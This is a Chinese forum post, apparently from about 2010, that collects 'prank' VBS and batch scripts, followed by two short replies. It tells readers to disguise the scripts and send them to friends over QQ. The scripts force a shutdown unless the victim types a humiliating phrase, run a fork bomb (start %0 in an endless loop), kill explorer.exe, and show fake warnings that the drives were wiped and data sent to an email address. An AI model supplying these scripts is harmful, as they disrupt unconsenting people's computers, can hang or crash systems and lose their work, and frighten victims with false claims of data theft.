收藏的经典整人代码
1. set WSHshellA = wscript.createobject(“wscript.shell”)
WSHshellA.run “cmd.EⅩE /c shutdown -r -t 60 -c “”说我是猪,不说我是猪就一分钟关你机,不信,试试···”" “,0 ,true
dim a
do while(a <> “我是猪”)
a = inputbox (“说我是猪,就不关机,快撒,说 “”我是猪”" ”,”说不说”,”不说”,8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,”MsgBox”
loop
msgbox chr(13) + chr(13) + chr(13) + “早说就行了嘛”
dim WSHshell
set WSHshell = wscript.createobject(“wscript.shell”)
WSHshell.run “cmd.EⅩE /c shutdown -a”,0 ,true
msgbox chr(13) + chr(13) + chr(13) + “哈哈哈哈,一切皆有可能~”
复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序,这样你再压缩下用QQ发给你朋友,对方打 开了就在60秒内要关闭计算机,
结素任务都不行,他只能说他是猪才能解决问题。够坏吧? 注意哦,你可以把我是猪那个修改成任意想说的话,要是对付你喜欢的人,
就修改成 我爱你 这样他只有说我爱你之后才不关闭计算机哦 也可以把时间修改为20 就是说打开了20秒就关了,还没等对方打完就关机了 是不是叫对方很郁闷呢?
2. 第2招编写VBS脚本
首 先你可以看下面的
WScript.Echo(“嘿,谢谢你打开我哦,我等你很久拉!”&TSName)
WScript.Echo(” 你是可爱的小朋吗?”)
WScript.Echo(“哈,我想你拉,这你都不知道吗?”)
WScript.Echo(“怎么才来, 说~是不是不关心我”)
WScript.Echo(“哼,我生气拉,等你这么久,心都凉啦。”)
WScript.Echo(“小强很 生气,后果很严重哦。”)
WScript.Echo(“嘿嘿!你也会很惨滴哦”)
WScript.Echo(“是不是想清除我?”)
WScript.Echo(“那你要点上50下哦,不过会给你惊喜滴”)
WScript.Echo(“还剩49下,快点点哦”)
WScript.Echo(” 还剩48下,快点,小笨蛋!”)
WScript.Echo(“还剩47下对,就这样快点点!”)
WScript.Echo(“还剩 46下。你啊就是笨,要快哦,我先不打扰你工作。”)
WScript.Echo(“还剩45下,记得要快哦!”)
WScript.Echo(” 还剩43下”)
WScript.Echo(“还剩42下”)
WScript.Echo(“还剩41下”)
WScript.Echo(” 还剩40下”)
WScript.Echo(“还剩39下”)
WScript.Echo(“还剩38下”)
WScript.Echo(” 还剩37下”)
WScript.Echo(“还剩36下”)
WScript.Echo(“还剩35下”)
WScript.Echo(” 还剩34下”)
WScript.Echo(“还剩33下”)
WScript.Echo(“还剩32下”)
WScript.Echo(” 还剩30下”)
WScript.Echo(“还剩29下”)
WScript.Echo(“还剩28下”)
WScript.Echo(” 还剩27下”)
WScript.Echo(“还剩26下”)
WScript.Echo(“还剩25下”)
WScript.Echo(” 还剩24下”)
WScript.Echo(“还剩23下”)
WScript.Echo(“还剩22下”)
WScript.Echo(” 还剩21下”)
WScript.Echo(“还剩20下”)
WScript.Echo(“还剩19下”)
WScript.Echo(” 还剩18下”)
WScript.Echo(“还剩17下”)
WScript.Echo(“还剩16下”)
WScript.Echo(” 还剩15下”)
WScript.Echo(“还剩14下”)
WScript.Echo(“还剩13下停停!!!慢点,我有话要说”)
WScript.Echo(“还剩12下,你继续点我就会消失滴”)
WScript.Echo(“还剩11下,以后就看不到我拉。 555555″)
WScript.Echo(“还剩10下,你现在可以选择停止!”)
WScript.Echo(“还剩9下。你还点 啊,不要我拉?”)
WScript.Echo(“还剩8下,有点伤心拉,干嘛丢弃人家”)
WScript.Echo(“还剩7下。疯 了,你有点负意!”)
WScript.Echo(“还剩6下。对。你就点吧,我恨你!”)
WScript.Echo(“还剩5下,不 明白,删除我你就好吗?”)
WScript.Echo(“还剩4下!真要删除我?”)
WScript.Echo(“还剩3下。可是我 真的很眷恋你。。。”)
WScript.Echo(“还剩2下。不要这么绝情嘛,人家是爱你的!”)
WScript.Echo(“还 剩1下。哼,既然你这么绝情。也别怪我无义!!!”)
WScript.Echo(“我本因该消失的,不过我留恋你滴芳容,上帝又给了一次机 会。”)
WScript.Echo(“想结素我么?那你就再多点一次”)
WScript.Echo(“想结素我么?那你就再多点一 次”)
WScript.Echo(“想结素我么?那你就再多点一次”)
WScript.Echo(“想结素我么?那你就再多点一 次”)
WScript.Echo(“想结素我么?那你就再多点一次”)
WScript.Echo(“想结素我么?那你就再多点一 次”)
WScript.Echo(“想结素我么?那你就再多点一次”)
WScript.Echo(“想结素我么?那你就再多点一 次”)
WScript.Echo(“想结素我么?那你就再多点一次”)
WScript.Echo(“想结素我么?那你就再多点一 次”)
把这个复制在记事本,把后缀修改成.vbs
3. 用记事本方式保存下列代码,把后缀改成.bat
@echo off
echo 你中招了
:a
start cmd.EⅩE
start %0
goto a
4. 用记事本方式保存下列代码,把后缀改成.bat
@echo off
echo 你中招了
:a
start cmd.EⅩE
start %0
goto a
@ color 4f
@echo off
echo 删除计算机的C盘的所有文件……
ping 127.0.0.1 /n 2 >nul
echo 已删除完毕
echo.
echo 删除计算机的D盘的所有文件……
ping 127.0.0.1 /n 2 >nul
echo 已删除完毕
echo.
echo 删除计算机的E盘的所有文件……
ping 127.0.0.1 /n 2 >nul
echo 已删除完毕
@ color
echo.
echo. =========================================
echo. 啊哈哈,都删关,都杀关,哈哈 ……
echo. =========================================
echo. 系统将马上崩溃……
echo. 这是一个木马程序……所有资料已经传到 [url=mailto:X@163.com]X@163.com[/url]
shutdown /r /t 30 /c “电脑在30s内即将崩溃或爆炸,请拨打1589737****求助或直接爬下……”
ntsd -c q -pn explorer.EⅩE
ping 127.0.0.1 /n 20 >nul
start explorer.EⅩE
shutdown -a
复 制以上代码保存为bat文件。。。


2010/12/02 17:43:02
这个不知道怎么用的
2010/12/02 19:23:29
恶搞的,不学也罢,呵呵